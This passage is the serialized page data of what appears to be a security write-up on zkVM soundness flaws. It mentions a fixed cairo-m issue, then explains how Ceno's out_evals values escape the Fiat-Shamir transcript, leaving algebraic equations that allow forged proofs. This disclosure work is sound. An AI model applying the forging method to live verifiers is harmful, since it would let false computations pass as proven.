",{"type":24,"tag":80,"props":124022,"children":124024},{"className":124023},[9607,9608],[124025],{"type":24,"tag":147,"props":124026,"children":124028},{"className":124027},[9613],[124029],{"type":24,"tag":147,"props":124030,"children":124032},{"className":124031,"ariaHidden":9619},[9618],[124033,124074,124105],{"type":24,"tag":147,"props":124034,"children":124036},{"className":124035},[9624],[124037,124041,124046,124051,124056,124061,124065,124070],{"type":24,"tag":147,"props":124038,"children":124040},{"className":124039,"style":9735},[9629],[],{"type":24,"tag":147,"props":124042,"children":124044},{"className":124043},[9635,27190],[124045],{"type":29,"value":123584},{"type":24,"tag":147,"props":124047,"children":124049},{"className":124048},[27319],[124050],{"type":29,"value":480},{"type":24,"tag":147,"props":124052,"children":124054},{"className":124053},[9635,27190],[124055],{"type":29,"value":25},{"type":24,"tag":147,"props":124057,"children":124059},{"className":124058},[27341],[124060],{"type":29,"value":8758},{"type":24,"tag":147,"props":124062,"children":124064},{"className":124063,"style":9715},[9714],[],{"type":24,"tag":147,"props":124066,"children":124068},{"className":124067},[9720],[124069],{"type":29,"value":624},{"type":24,"tag":147,"props":124071,"children":124073},{"className":124072,"style":9715},[9714],[],{"type":24,"tag":147,"props":124075,"children":124077},{"className":124076},[9624],[124078,124082,124092,124096,124101],{"type":24,"tag":147,"props":124079,"children":124081},{"className":124080,"style":9735},[9629],[],{"type":24,"tag":147,"props":124083,"children":124085},{"className":124084},[9635,29],[124086],{"type":24,"tag":147,"props":124087,"children":124089},{"className":124088},[9635],[124090],{"type":29,"value":124091},"(other terms)",{"type":24,"tag":147,"props":124093,"children":124095},{"className":124094,"style":9812},[9714],[],{"type":24,"tag":147,"props":124097,"children":124099},{"className":124098},[9817],[124100],{"type":29,"value":369},{"type":24,"tag":147,"props":124102,"children":124104},{"className":124103,"style":9812},[9714],[],{"type":24,"tag":147,"props":124106,"children":124108},{"className":124107},[9624],[124109,124113],{"type":24,"tag":147,"props":124110,"children":124112},{"className":124111,"style":99661},[9629],[],{"type":24,"tag":147,"props":124114,"children":124116},{"className":124115},[9635],[124117],{"type":29,"value":3173},{"type":24,"tag":25,"props":124119,"children":124120},{},[124121],{"type":29,"value":124122},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":124124,"children":124125},{},[124126],{"type":29,"value":124127},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":124129,"children":124130},{},[124131,124135,124137],{"type":24,"tag":10949,"props":124132,"children":124133},{},[124134],{"type":29,"value":122330},{"type":29,"value":124136}," Fixed on October 31, 2025 via ",{"type":24,"tag":2773,"props":124138,"children":124141},{"href":124139,"rel":124140},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[2777],[124142],{"type":29,"value":124143},"commit 92b6740",{"type":24,"tag":2665,"props":124145,"children":124146},{},[],{"type":24,"tag":43,"props":124148,"children":124150},{"id":124149},"ceno-scroll",[124151],{"type":29,"value":124152},"Ceno (Scroll)",{"type":24,"tag":25,"props":124154,"children":124155},{},[124156],{"type":29,"value":124157},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":124159,"children":124160},{},[124161,124163,124168],{"type":29,"value":124162},"Ceno splits verification into ",{"type":24,"tag":10949,"props":124164,"children":124165},{},[124166],{"type":29,"value":124167},"chips",{"type":29,"value":124169},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":124171,"children":124172},{},[124173,124175,124180],{"type":29,"value":124174},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":10949,"props":124176,"children":124177},{},[124178],{"type":29,"value":124179},"tower sumcheck",{"type":29,"value":87},{"type":24,"tag":25,"props":124182,"children":124183},{},[124184],{"type":29,"value":124185},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":124187,"children":124188},{},[124189],{"type":24,"tag":80,"props":124190,"children":124192},{"className":124191},[9607,9608],[124193],{"type":24,"tag":147,"props":124194,"children":124196},{"className":124195},[9613],[124197],{"type":24,"tag":147,"props":124198,"children":124200},{"className":124199,"ariaHidden":9619},[9618],[124201,124375,124548],{"type":24,"tag":147,"props":124202,"children":124204},{"className":124203},[9624],[124205,124209,124267,124271,124280,124285,124295,124300,124362,124366,124371],{"type":24,"tag":147,"props":124206,"children":124208},{"className":124207,"style":98572},[9629],[],{"type":24,"tag":147,"props":124210,"children":124212},{"className":124211},[27226],[124213,124219],{"type":24,"tag":147,"props":124214,"children":124216},{"className":124215,"style":27233},[27226,27231,27232],[124217],{"type":29,"value":124218},"∏",{"type":24,"tag":147,"props":124220,"children":124222},{"className":124221},[9650],[124223],{"type":24,"tag":147,"props":124224,"children":124226},{"className":124225},[9655,27244],[124227,124256],{"type":24,"tag":147,"props":124228,"children":124230},{"className":124229},[9660],[124231,124251],{"type":24,"tag":147,"props":124232,"children":124234},{"className":124233,"style":119827},[9665],[124235],{"type":24,"tag":147,"props":124236,"children":124237},{"style":27257},[124238,124242],{"type":24,"tag":147,"props":124239,"children":124241},{"className":124240,"style":9675},[9674],[],{"type":24,"tag":147,"props":124243,"children":124245},{"className":124244},[9680,9681,9682,9683],[124246],{"type":24,"tag":147,"props":124247,"children":124249},{"className":124248},[9635,27190,9683],[124250],{"type":29,"value":9363},{"type":24,"tag":147,"props":124252,"children":124254},{"className":124253},[27347],[124255],{"type":29,"value":27350},{"type":24,"tag":147,"props":124257,"children":124259},{"className":124258},[9660],[124260],{"type":24,"tag":147,"props":124261,"children":124263},{"className":124262,"style":120107},[9665],[124264],{"type":24,"tag":147,"props":124265,"children":124266},{},[],{"type":24,"tag":147,"props":124268,"children":124270},{"className":124269,"style":9753},[9714],[],{"type":24,"tag":147,"props":124272,"children":124274},{"className":124273},[9635,29],[124275],{"type":24,"tag":147,"props":124276,"children":124278},{"className":124277},[9635],[124279],{"type":29,"value":99449},{"type":24,"tag":147,"props":124281,"children":124283},{"className":124282,"style":98630},[9635],[124284],{"type":29,"value":8714},{"type":24,"tag":147,"props":124286,"children":124288},{"className":124287},[9635,29],[124289],{"type":24,"tag":147,"props":124290,"children":124292},{"className":124291},[9635],[124293],{"type":29,"value":124294},"out",{"type":24,"tag":147,"props":124296,"children":124298},{"className":124297,"style":98630},[9635],[124299],{"type":29,"value":8714},{"type":24,"tag":147,"props":124301,"children":124303},{"className":124302},[9635],[124304,124314],{"type":24,"tag":147,"props":124305,"children":124307},{"className":124306},[9635,29],[124308],{"type":24,"tag":147,"props":124309,"children":124311},{"className":124310},[9635],[124312],{"type":29,"value":124313},"evals",{"type":24,"tag":147,"props":124315,"children":124317},{"className":124316},[9650],[124318],{"type":24,"tag":147,"props":124319,"children":124321},{"className":124320},[9655,27244],[124322,124351],{"type":24,"tag":147,"props":124323,"children":124325},{"className":124324},[9660],[124326,124346],{"type":24,"tag":147,"props":124327,"children":124329},{"className":124328,"style":99159},[9665],[124330],{"type":24,"tag":147,"props":124331,"children":124332},{"style":119750},[124333,124337],{"type":24,"tag":147,"props":124334,"children":124336},{"className":124335,"style":9675},[9674],[],{"type":24,"tag":147,"props":124338,"children":124340},{"className":124339},[9680,9681,9682,9683],[124341],{"type":24,"tag":147,"props":124342,"children":124344},{"className":124343},[9635,27190,9683],[124345],{"type":29,"value":9363},{"type":24,"tag":147,"props":124347,"children":124349},{"className":124348},[27347],[124350],{"type":29,"value":27350},{"type":24,"tag":147,"props":124352,"children":124354},{"className":124353},[9660],[124355],{"type":24,"tag":147,"props":124356,"children":124358},{"className":124357,"style":98713},[9665],[124359],{"type":24,"tag":147,"props":124360,"children":124361},{},[],{"type":24,"tag":147,"props":124363,"children":124365},{"className":124364,"style":9812},[9714],[],{"type":24,"tag":147,"props":124367,"children":124369},{"className":124368},[9817],[124370],{"type":29,"value":369},{"type":24,"tag":147,"props":124372,"children":124374},{"className":124373,"style":9812},[9714],[],{"type":24,"tag":147,"props":124376,"children":124378},{"className":124377},[9624],[124379,124384,124441,124445,124454,124459,124468,124473,124535,124539,124544],{"type":24,"tag":147,"props":124380,"children":124383},{"className":124381,"style":124382},[9629],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":147,"props":124385,"children":124387},{"className":124386},[27226],[124388,124393],{"type":24,"tag":147,"props":124389,"children":124391},{"className":124390,"style":27233},[27226,27231,27232],[124392],{"type":29,"value":124218},{"type":24,"tag":147,"props":124394,"children":124396},{"className":124395},[9650],[124397],{"type":24,"tag":147,"props":124398,"children":124400},{"className":124399},[9655,27244],[124401,124430],{"type":24,"tag":147,"props":124402,"children":124404},{"className":124403},[9660],[124405,124425],{"type":24,"tag":147,"props":124406,"children":124408},{"className":124407,"style":119827},[9665],[124409],{"type":24,"tag":147,"props":124410,"children":124411},{"style":27257},[124412,124416],{"type":24,"tag":147,"props":124413,"children":124415},{"className":124414,"style":9675},[9674],[],{"type":24,"tag":147,"props":124417,"children":124419},{"className":124418},[9680,9681,9682,9683],[124420],{"type":24,"tag":147,"props":124421,"children":124423},{"className":124422,"style":119843},[9635,27190,9683],[124424],{"type":29,"value":14281},{"type":24,"tag":147,"props":124426,"children":124428},{"className":124427},[27347],[124429],{"type":29,"value":27350},{"type":24,"tag":147,"props":124431,"children":124433},{"className":124432},[9660],[124434],{"type":24,"tag":147,"props":124435,"children":124437},{"className":124436,"style":119858},[9665],[124438],{"type":24,"tag":147,"props":124439,"children":124440},{},[],{"type":24,"tag":147,"props":124442,"children":124444},{"className":124443,"style":9753},[9714],[],{"type":24,"tag":147,"props":124446,"children":124448},{"className":124447},[9635,29],[124449],{"type":24,"tag":147,"props":124450,"children":124452},{"className":124451},[9635],[124453],{"type":29,"value":55169},{"type":24,"tag":147,"props":124455,"children":124457},{"className":124456,"style":98630},[9635],[124458],{"type":29,"value":8714},{"type":24,"tag":147,"props":124460,"children":124462},{"className":124461},[9635,29],[124463],{"type":24,"tag":147,"props":124464,"children":124466},{"className":124465},[9635],[124467],{"type":29,"value":124294},{"type":24,"tag":147,"props":124469,"children":124471},{"className":124470,"style":98630},[9635],[124472],{"type":29,"value":8714},{"type":24,"tag":147,"props":124474,"children":124476},{"className":124475},[9635],[124477,124486],{"type":24,"tag":147,"props":124478,"children":124480},{"className":124479},[9635,29],[124481],{"type":24,"tag":147,"props":124482,"children":124484},{"className":124483},[9635],[124485],{"type":29,"value":124313},{"type":24,"tag":147,"props":124487,"children":124489},{"className":124488},[9650],[124490],{"type":24,"tag":147,"props":124491,"children":124493},{"className":124492},[9655,27244],[124494,124523],{"type":24,"tag":147,"props":124495,"children":124497},{"className":124496},[9660],[124498,124518],{"type":24,"tag":147,"props":124499,"children":124501},{"className":124500,"style":99159},[9665],[124502],{"type":24,"tag":147,"props":124503,"children":124504},{"style":119750},[124505,124509],{"type":24,"tag":147,"props":124506,"children":124508},{"className":124507,"style":9675},[9674],[],{"type":24,"tag":147,"props":124510,"children":124512},{"className":124511},[9680,9681,9682,9683],[124513],{"type":24,"tag":147,"props":124514,"children":124516},{"className":124515,"style":119843},[9635,27190,9683],[124517],{"type":29,"value":14281},{"type":24,"tag":147,"props":124519,"children":124521},{"className":124520},[27347],[124522],{"type":29,"value":27350},{"type":24,"tag":147,"props":124524,"children":124526},{"className":124525},[9660],[124527],{"type":24,"tag":147,"props":124528,"children":124531},{"className":124529,"style":124530},[9665],"height:0.2861em;",[124532],{"type":24,"tag":147,"props":124533,"children":124534},{},[],{"type":24,"tag":147,"props":124536,"children":124538},{"className":124537,"style":9715},[9714],[],{"type":24,"tag":147,"props":124540,"children":124542},{"className":124541},[9720],[124543],{"type":29,"value":116883},{"type":24,"tag":147,"props":124545,"children":124547},{"className":124546,"style":9715},[9714],[],{"type":24,"tag":147,"props":124549,"children":124551},{"className":124550},[9624],[124552,124556,124561,124571],{"type":24,"tag":147,"props":124553,"children":124555},{"className":124554,"style":9735},[9629],[],{"type":24,"tag":147,"props":124557,"children":124559},{"className":124558},[27319],[124560],{"type":29,"value":480},{"type":24,"tag":147,"props":124562,"children":124564},{"className":124563},[9635,29],[124565],{"type":24,"tag":147,"props":124566,"children":124568},{"className":124567},[9635],[124569],{"type":29,"value":124570},"state factors",{"type":24,"tag":147,"props":124572,"children":124574},{"className":124573},[27341],[124575],{"type":29,"value":8758},{"type":24,"tag":25,"props":124577,"children":124578},{},[124579],{"type":24,"tag":10949,"props":124580,"children":124581},{},[124582],{"type":29,"value":121036},{"type":24,"tag":137,"props":124584,"children":124586},{"code":124585},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[124587],{"type":24,"tag":80,"props":124588,"children":124589},{"__ignoreMap":7},[124590],{"type":29,"value":124585},{"type":24,"tag":25,"props":124592,"children":124593},{},[124594,124600,124601,124607,124608,124614],{"type":24,"tag":80,"props":124595,"children":124597},{"className":124596},[],[124598],{"type":29,"value":124599},"r_out_evals",{"type":29,"value":546},{"type":24,"tag":80,"props":124602,"children":124604},{"className":124603},[],[124605],{"type":29,"value":124606},"w_out_evals",{"type":29,"value":12113},{"type":24,"tag":80,"props":124609,"children":124611},{"className":124610},[],[124612],{"type":29,"value":124613},"lk_out_evals",{"type":29,"value":124615}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":2674,"props":124617,"children":124618},{},[124619],{"type":24,"tag":2678,"props":124620,"children":124621},{},[124622,124627,124629,124635],{"type":24,"tag":10949,"props":124623,"children":124624},{},[124625],{"type":29,"value":124626},"GKR/Tower equation",{"type":29,"value":124628}," (linear in ",{"type":24,"tag":80,"props":124630,"children":124632},{"className":124631},[],[124633],{"type":29,"value":124634},"out_evals",{"type":29,"value":4014},{"type":24,"tag":25,"props":124637,"children":124638},{},[124639,124641],{"type":29,"value":124640},"The tower sumcheck claim is ",{"type":24,"tag":80,"props":124642,"children":124644},{"className":124643},[9607,9608],[124645],{"type":24,"tag":147,"props":124646,"children":124648},{"className":124647},[9613],[124649],{"type":24,"tag":147,"props":124650,"children":124652},{"className":124651,"ariaHidden":9619},[9618],[124653,124684,124809],{"type":24,"tag":147,"props":124654,"children":124656},{"className":124655},[9624],[124657,124661,124671,124675,124680],{"type":24,"tag":147,"props":124658,"children":124660},{"className":124659,"style":98545},[9629],[],{"type":24,"tag":147,"props":124662,"children":124664},{"className":124663},[9635,29],[124665],{"type":24,"tag":147,"props":124666,"children":124668},{"className":124667},[9635],[124669],{"type":29,"value":124670},"claim",{"type":24,"tag":147,"props":124672,"children":124674},{"className":124673,"style":9812},[9714],[],{"type":24,"tag":147,"props":124676,"children":124678},{"className":124677},[9817],[124679],{"type":29,"value":369},{"type":24,"tag":147,"props":124681,"children":124683},{"className":124682,"style":9812},[9714],[],{"type":24,"tag":147,"props":124685,"children":124687},{"className":124686},[9624],[124688,124693,124750,124754,124796,124800,124805],{"type":24,"tag":147,"props":124689,"children":124692},{"className":124690,"style":124691},[9629],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":147,"props":124694,"children":124696},{"className":124695},[27226],[124697,124702],{"type":24,"tag":147,"props":124698,"children":124700},{"className":124699,"style":27233},[27226,27231,27232],[124701],{"type":29,"value":114416},{"type":24,"tag":147,"props":124703,"children":124705},{"className":124704},[9650],[124706],{"type":24,"tag":147,"props":124707,"children":124709},{"className":124708},[9655,27244],[124710,124739],{"type":24,"tag":147,"props":124711,"children":124713},{"className":124712},[9660],[124714,124734],{"type":24,"tag":147,"props":124715,"children":124717},{"className":124716,"style":119827},[9665],[124718],{"type":24,"tag":147,"props":124719,"children":124720},{"style":27257},[124721,124725],{"type":24,"tag":147,"props":124722,"children":124724},{"className":124723,"style":9675},[9674],[],{"type":24,"tag":147,"props":124726,"children":124728},{"className":124727},[9680,9681,9682,9683],[124729],{"type":24,"tag":147,"props":124730,"children":124732},{"className":124731,"style":119843},[9635,27190,9683],[124733],{"type":29,"value":14281},{"type":24,"tag":147,"props":124735,"children":124737},{"className":124736},[27347],[124738],{"type":29,"value":27350},{"type":24,"tag":147,"props":124740,"children":124742},{"className":124741},[9660],[124743],{"type":24,"tag":147,"props":124744,"children":124746},{"className":124745,"style":119858},[9665],[124747],{"type":24,"tag":147,"props":124748,"children":124749},{},[],{"type":24,"tag":147,"props":124751,"children":124753},{"className":124752,"style":9753},[9714],[],{"type":24,"tag":147,"props":124755,"children":124757},{"className":124756},[9635],[124758,124763],{"type":24,"tag":147,"props":124759,"children":124761},{"className":124760,"style":120708},[9635,27190],[124762],{"type":29,"value":120711},{"type":24,"tag":147,"props":124764,"children":124766},{"className":124765},[9650],[124767],{"type":24,"tag":147,"props":124768,"children":124770},{"className":124769},[9655],[124771],{"type":24,"tag":147,"props":124772,"children":124774},{"className":124773},[9660],[124775],{"type":24,"tag":147,"props":124776,"children":124779},{"className":124777,"style":124778},[9665],"height:0.8247em;",[124780],{"type":24,"tag":147,"props":124781,"children":124782},{"style":9669},[124783,124787],{"type":24,"tag":147,"props":124784,"children":124786},{"className":124785,"style":9675},[9674],[],{"type":24,"tag":147,"props":124788,"children":124790},{"className":124789},[9680,9681,9682,9683],[124791],{"type":24,"tag":147,"props":124792,"children":124794},{"className":124793,"style":119843},[9635,27190,9683],[124795],{"type":29,"value":14281},{"type":24,"tag":147,"props":124797,"children":124799},{"className":124798,"style":9715},[9714],[],{"type":24,"tag":147,"props":124801,"children":124803},{"className":124802},[9720],[124804],{"type":29,"value":116883},{"type":24,"tag":147,"props":124806,"children":124808},{"className":124807,"style":9715},[9714],[],{"type":24,"tag":147,"props":124810,"children":124812},{"className":124811},[9624],[124813,124817,124826,124831],{"type":24,"tag":147,"props":124814,"children":124816},{"className":124815,"style":100043},[9629],[],{"type":24,"tag":147,"props":124818,"children":124820},{"className":124819},[9635,29],[124821],{"type":24,"tag":147,"props":124822,"children":124824},{"className":124823},[9635],[124825],{"type":29,"value":124294},{"type":24,"tag":147,"props":124827,"children":124829},{"className":124828,"style":98630},[9635],[124830],{"type":29,"value":8714},{"type":24,"tag":147,"props":124832,"children":124834},{"className":124833},[9635],[124835,124844],{"type":24,"tag":147,"props":124836,"children":124838},{"className":124837},[9635,29],[124839],{"type":24,"tag":147,"props":124840,"children":124842},{"className":124841},[9635],[124843],{"type":29,"value":124313},{"type":24,"tag":147,"props":124845,"children":124847},{"className":124846},[9650],[124848],{"type":24,"tag":147,"props":124849,"children":124851},{"className":124850},[9655,27244],[124852,124881],{"type":24,"tag":147,"props":124853,"children":124855},{"className":124854},[9660],[124856,124876],{"type":24,"tag":147,"props":124857,"children":124859},{"className":124858,"style":99159},[9665],[124860],{"type":24,"tag":147,"props":124861,"children":124862},{"style":119750},[124863,124867],{"type":24,"tag":147,"props":124864,"children":124866},{"className":124865,"style":9675},[9674],[],{"type":24,"tag":147,"props":124868,"children":124870},{"className":124869},[9680,9681,9682,9683],[124871],{"type":24,"tag":147,"props":124872,"children":124874},{"className":124873,"style":119843},[9635,27190,9683],[124875],{"type":29,"value":14281},{"type":24,"tag":147,"props":124877,"children":124879},{"className":124878},[27347],[124880],{"type":29,"value":27350},{"type":24,"tag":147,"props":124882,"children":124884},{"className":124883},[9660],[124885],{"type":24,"tag":147,"props":124886,"children":124888},{"className":124887,"style":124530},[9665],[124889],{"type":24,"tag":147,"props":124890,"children":124891},{},[],{"type":24,"tag":25,"props":124893,"children":124894},{},[124895,124897,124902],{"type":29,"value":124896},"This check is linear in ",{"type":24,"tag":80,"props":124898,"children":124900},{"className":124899},[],[124901],{"type":29,"value":124634},{"type":29,"value":87},{"type":24,"tag":2674,"props":124904,"children":124905},{"start":160},[124906],{"type":24,"tag":2678,"props":124907,"children":124908},{},[124909,124914,124916,124921],{"type":24,"tag":10949,"props":124910,"children":124911},{},[124912],{"type":29,"value":124913},"rw-product consistency",{"type":29,"value":124915}," (bilinear in ",{"type":24,"tag":80,"props":124917,"children":124919},{"className":124918},[],[124920],{"type":29,"value":124634},{"type":29,"value":4014},{"type":24,"tag":25,"props":124923,"children":124924},{},[124925],{"type":24,"tag":80,"props":124926,"children":124928},{"className":124927},[9607,9608],[124929],{"type":24,"tag":147,"props":124930,"children":124932},{"className":124931},[9613],[124933],{"type":24,"tag":147,"props":124934,"children":124936},{"className":124935,"ariaHidden":9619},[9618],[124937,125108,125279],{"type":24,"tag":147,"props":124938,"children":124940},{"className":124939},[9624],[124941,124945,125002,125006,125015,125020,125029,125034,125095,125099,125104],{"type":24,"tag":147,"props":124942,"children":124944},{"className":124943,"style":98572},[9629],[],{"type":24,"tag":147,"props":124946,"children":124948},{"className":124947},[27226],[124949,124954],{"type":24,"tag":147,"props":124950,"children":124952},{"className":124951,"style":27233},[27226,27231,27232],[124953],{"type":29,"value":124218},{"type":24,"tag":147,"props":124955,"children":124957},{"className":124956},[9650],[124958],{"type":24,"tag":147,"props":124959,"children":124961},{"className":124960},[9655,27244],[124962,124991],{"type":24,"tag":147,"props":124963,"children":124965},{"className":124964},[9660],[124966,124986],{"type":24,"tag":147,"props":124967,"children":124969},{"className":124968,"style":119827},[9665],[124970],{"type":24,"tag":147,"props":124971,"children":124972},{"style":27257},[124973,124977],{"type":24,"tag":147,"props":124974,"children":124976},{"className":124975,"style":9675},[9674],[],{"type":24,"tag":147,"props":124978,"children":124980},{"className":124979},[9680,9681,9682,9683],[124981],{"type":24,"tag":147,"props":124982,"children":124984},{"className":124983},[9635,27190,9683],[124985],{"type":29,"value":9363},{"type":24,"tag":147,"props":124987,"children":124989},{"className":124988},[27347],[124990],{"type":29,"value":27350},{"type":24,"tag":147,"props":124992,"children":124994},{"className":124993},[9660],[124995],{"type":24,"tag":147,"props":124996,"children":124998},{"className":124997,"style":120107},[9665],[124999],{"type":24,"tag":147,"props":125000,"children":125001},{},[],{"type":24,"tag":147,"props":125003,"children":125005},{"className":125004,"style":9753},[9714],[],{"type":24,"tag":147,"props":125007,"children":125009},{"className":125008},[9635,29],[125010],{"type":24,"tag":147,"props":125011,"children":125013},{"className":125012},[9635],[125014],{"type":29,"value":99449},{"type":24,"tag":147,"props":125016,"children":125018},{"className":125017,"style":98630},[9635],[125019],{"type":29,"value":8714},{"type":24,"tag":147,"props":125021,"children":125023},{"className":125022},[9635,29],[125024],{"type":24,"tag":147,"props":125025,"children":125027},{"className":125026},[9635],[125028],{"type":29,"value":124294},{"type":24,"tag":147,"props":125030,"children":125032},{"className":125031,"style":98630},[9635],[125033],{"type":29,"value":8714},{"type":24,"tag":147,"props":125035,"children":125037},{"className":125036},[9635],[125038,125047],{"type":24,"tag":147,"props":125039,"children":125041},{"className":125040},[9635,29],[125042],{"type":24,"tag":147,"props":125043,"children":125045},{"className":125044},[9635],[125046],{"type":29,"value":124313},{"type":24,"tag":147,"props":125048,"children":125050},{"className":125049},[9650],[125051],{"type":24,"tag":147,"props":125052,"children":125054},{"className":125053},[9655,27244],[125055,125084],{"type":24,"tag":147,"props":125056,"children":125058},{"className":125057},[9660],[125059,125079],{"type":24,"tag":147,"props":125060,"children":125062},{"className":125061,"style":99159},[9665],[125063],{"type":24,"tag":147,"props":125064,"children":125065},{"style":119750},[125066,125070],{"type":24,"tag":147,"props":125067,"children":125069},{"className":125068,"style":9675},[9674],[],{"type":24,"tag":147,"props":125071,"children":125073},{"className":125072},[9680,9681,9682,9683],[125074],{"type":24,"tag":147,"props":125075,"children":125077},{"className":125076},[9635,27190,9683],[125078],{"type":29,"value":9363},{"type":24,"tag":147,"props":125080,"children":125082},{"className":125081},[27347],[125083],{"type":29,"value":27350},{"type":24,"tag":147,"props":125085,"children":125087},{"className":125086},[9660],[125088],{"type":24,"tag":147,"props":125089,"children":125091},{"className":125090,"style":98713},[9665],[125092],{"type":24,"tag":147,"props":125093,"children":125094},{},[],{"type":24,"tag":147,"props":125096,"children":125098},{"className":125097,"style":9812},[9714],[],{"type":24,"tag":147,"props":125100,"children":125102},{"className":125101},[9817],[125103],{"type":29,"value":369},{"type":24,"tag":147,"props":125105,"children":125107},{"className":125106,"style":9812},[9714],[],{"type":24,"tag":147,"props":125109,"children":125111},{"className":125110},[9624],[125112,125116,125173,125177,125186,125191,125200,125205,125266,125270,125275],{"type":24,"tag":147,"props":125113,"children":125115},{"className":125114,"style":124382},[9629],[],{"type":24,"tag":147,"props":125117,"children":125119},{"className":125118},[27226],[125120,125125],{"type":24,"tag":147,"props":125121,"children":125123},{"className":125122,"style":27233},[27226,27231,27232],[125124],{"type":29,"value":124218},{"type":24,"tag":147,"props":125126,"children":125128},{"className":125127},[9650],[125129],{"type":24,"tag":147,"props":125130,"children":125132},{"className":125131},[9655,27244],[125133,125162],{"type":24,"tag":147,"props":125134,"children":125136},{"className":125135},[9660],[125137,125157],{"type":24,"tag":147,"props":125138,"children":125140},{"className":125139,"style":119827},[9665],[125141],{"type":24,"tag":147,"props":125142,"children":125143},{"style":27257},[125144,125148],{"type":24,"tag":147,"props":125145,"children":125147},{"className":125146,"style":9675},[9674],[],{"type":24,"tag":147,"props":125149,"children":125151},{"className":125150},[9680,9681,9682,9683],[125152],{"type":24,"tag":147,"props":125153,"children":125155},{"className":125154,"style":119843},[9635,27190,9683],[125156],{"type":29,"value":14281},{"type":24,"tag":147,"props":125158,"children":125160},{"className":125159},[27347],[125161],{"type":29,"value":27350},{"type":24,"tag":147,"props":125163,"children":125165},{"className":125164},[9660],[125166],{"type":24,"tag":147,"props":125167,"children":125169},{"className":125168,"style":119858},[9665],[125170],{"type":24,"tag":147,"props":125171,"children":125172},{},[],{"type":24,"tag":147,"props":125174,"children":125176},{"className":125175,"style":9753},[9714],[],{"type":24,"tag":147,"props":125178,"children":125180},{"className":125179},[9635,29],[125181],{"type":24,"tag":147,"props":125182,"children":125184},{"className":125183},[9635],[125185],{"type":29,"value":55169},{"type":24,"tag":147,"props":125187,"children":125189},{"className":125188,"style":98630},[9635],[125190],{"type":29,"value":8714},{"type":24,"tag":147,"props":125192,"children":125194},{"className":125193},[9635,29],[125195],{"type":24,"tag":147,"props":125196,"children":125198},{"className":125197},[9635],[125199],{"type":29,"value":124294},{"type":24,"tag":147,"props":125201,"children":125203},{"className":125202,"style":98630},[9635],[125204],{"type":29,"value":8714},{"type":24,"tag":147,"props":125206,"children":125208},{"className":125207},[9635],[125209,125218],{"type":24,"tag":147,"props":125210,"children":125212},{"className":125211},[9635,29],[125213],{"type":24,"tag":147,"props":125214,"children":125216},{"className":125215},[9635],[125217],{"type":29,"value":124313},{"type":24,"tag":147,"props":125219,"children":125221},{"className":125220},[9650],[125222],{"type":24,"tag":147,"props":125223,"children":125225},{"className":125224},[9655,27244],[125226,125255],{"type":24,"tag":147,"props":125227,"children":125229},{"className":125228},[9660],[125230,125250],{"type":24,"tag":147,"props":125231,"children":125233},{"className":125232,"style":99159},[9665],[125234],{"type":24,"tag":147,"props":125235,"children":125236},{"style":119750},[125237,125241],{"type":24,"tag":147,"props":125238,"children":125240},{"className":125239,"style":9675},[9674],[],{"type":24,"tag":147,"props":125242,"children":125244},{"className":125243},[9680,9681,9682,9683],[125245],{"type":24,"tag":147,"props":125246,"children":125248},{"className":125247,"style":119843},[9635,27190,9683],[125249],{"type":29,"value":14281},{"type":24,"tag":147,"props":125251,"children":125253},{"className":125252},[27347],[125254],{"type":29,"value":27350},{"type":24,"tag":147,"props":125256,"children":125258},{"className":125257},[9660],[125259],{"type":24,"tag":147,"props":125260,"children":125262},{"className":125261,"style":124530},[9665],[125263],{"type":24,"tag":147,"props":125264,"children":125265},{},[],{"type":24,"tag":147,"props":125267,"children":125269},{"className":125268,"style":9715},[9714],[],{"type":24,"tag":147,"props":125271,"children":125273},{"className":125272},[9720],[125274],{"type":29,"value":116883},{"type":24,"tag":147,"props":125276,"children":125278},{"className":125277,"style":9715},[9714],[],{"type":24,"tag":147,"props":125280,"children":125282},{"className":125281},[9624],[125283,125287,125292,125301],{"type":24,"tag":147,"props":125284,"children":125286},{"className":125285,"style":9735},[9629],[],{"type":24,"tag":147,"props":125288,"children":125290},{"className":125289},[27319],[125291],{"type":29,"value":480},{"type":24,"tag":147,"props":125293,"children":125295},{"className":125294},[9635,29],[125296],{"type":24,"tag":147,"props":125297,"children":125299},{"className":125298},[9635],[125300],{"type":29,"value":124570},{"type":24,"tag":147,"props":125302,"children":125304},{"className":125303},[27341],[125305],{"type":29,"value":8758},{"type":24,"tag":25,"props":125307,"children":125308},{},[125309,125311,125480,125481,125650],{"type":29,"value":125310},"If we vary ",{"type":24,"tag":80,"props":125312,"children":125314},{"className":125313},[9607,9608],[125315],{"type":24,"tag":147,"props":125316,"children":125318},{"className":125317},[9613],[125319],{"type":24,"tag":147,"props":125320,"children":125322},{"className":125321,"ariaHidden":9619},[9618],[125323,125401],{"type":24,"tag":147,"props":125324,"children":125326},{"className":125325},[9624],[125327,125331,125388,125392,125397],{"type":24,"tag":147,"props":125328,"children":125330},{"className":125329,"style":115591},[9629],[],{"type":24,"tag":147,"props":125332,"children":125334},{"className":125333},[9635],[125335,125340],{"type":24,"tag":147,"props":125336,"children":125338},{"className":125337},[9635,27190],[125339],{"type":29,"value":24880},{"type":24,"tag":147,"props":125341,"children":125343},{"className":125342},[9650],[125344],{"type":24,"tag":147,"props":125345,"children":125347},{"className":125346},[9655,27244],[125348,125377],{"type":24,"tag":147,"props":125349,"children":125351},{"className":125350},[9660],[125352,125372],{"type":24,"tag":147,"props":125353,"children":125355},{"className":125354,"style":98682},[9665],[125356],{"type":24,"tag